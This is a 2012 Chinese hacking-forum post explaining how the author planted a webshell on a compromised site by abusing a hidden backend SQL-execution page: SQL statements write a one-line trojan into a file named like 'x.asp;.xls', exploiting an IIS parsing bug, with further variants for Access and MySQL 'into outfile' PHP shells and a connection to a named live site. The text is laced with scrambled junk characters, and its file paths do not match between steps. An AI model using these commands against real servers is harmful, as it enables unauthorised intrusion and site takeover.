好不容易进了后台，发现啥上传啊。备份啊多木有。
( z* z+ V& o. z: k) d3 S1 P2 iwebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
8 p4 L1 t8 [9 g3 O5 l: |2 N文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，5 h# `* S8 u- p* @2 ?
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
- c8 F1 S# c T+ ]) H: _1 z5 A1.create table cmd (a varchar(50))
& z$ c" V+ A3 [% f$ z+ [2.insert into cmd (a) values (‘‘)
& f3 H: ?; Z% a8 ~2 h7 e- ^8 \% U3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
e; R, z. l) l5 O(把表cmd的内容导出为物理路径的一个EXCEL文件)
$ D t$ t- @3 S E' l4 ~4.drop table cmd+ u3 {# E/ y' f
利用IIS的BUG成功拿到了WEBSHELL。
# A7 s a0 i0 ]( D- D! Y/ W: o8 M; K1 ]6 P+ o* X: }
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话- m1 Y4 \) _$ f
: z+ Z! j& C |1 b: t
SQL语句意思解释：
6 [# J y' ]0 Y5 Y0 G 第一句
3 N7 x( i; q, x/ ?" I 建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
. s" Y; j+ n. _- _0 [' _: U
+ ~& A8 o8 Q. ? 第二句
# l( W$ z' o; O8 W7 c( I 在表cmd的a字段插入一句话木马. A. }3 f0 Z+ x/ x( Y+ a
第三句; _0 l: }: ]! b3 o1 U
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件, S# P" C5 \1 a" W, f9 A
, D, h$ }, f5 C 第四句
2 S8 C0 q5 U& R6 z: P A 删除建立的cmd表
% H3 O" q5 }% e @; [% U/ ?! o8 u& q5 b2 V# M
以下内容为测试：' [" p# L4 `7 \8 L
Access利用后台SQL执行命令功能导出WebShell:
8 A& q/ M. l4 Z 这个更简单：
/ H; V a1 h, C( q [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol], Z: n: K6 S& Z$ W! g8 \7 g0 @" q
或者
, {# Q6 g5 W- g" T5 X P# Y [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]& v* k+ L( [4 L( r
) t* |9 P+ ]. Z+ z1 F0 S0 n7 I
后台有执行SQL语句功能(vote为已知表段); T0 z! I( p0 u7 N2 m1 y# B
希望对大家有所帮助拿shell的又一个思路
b+ P7 z% [: c' c7 [8 |$ ^8 E" [ |
发表于 2012-9-13 17:53:58
收藏
支持
反对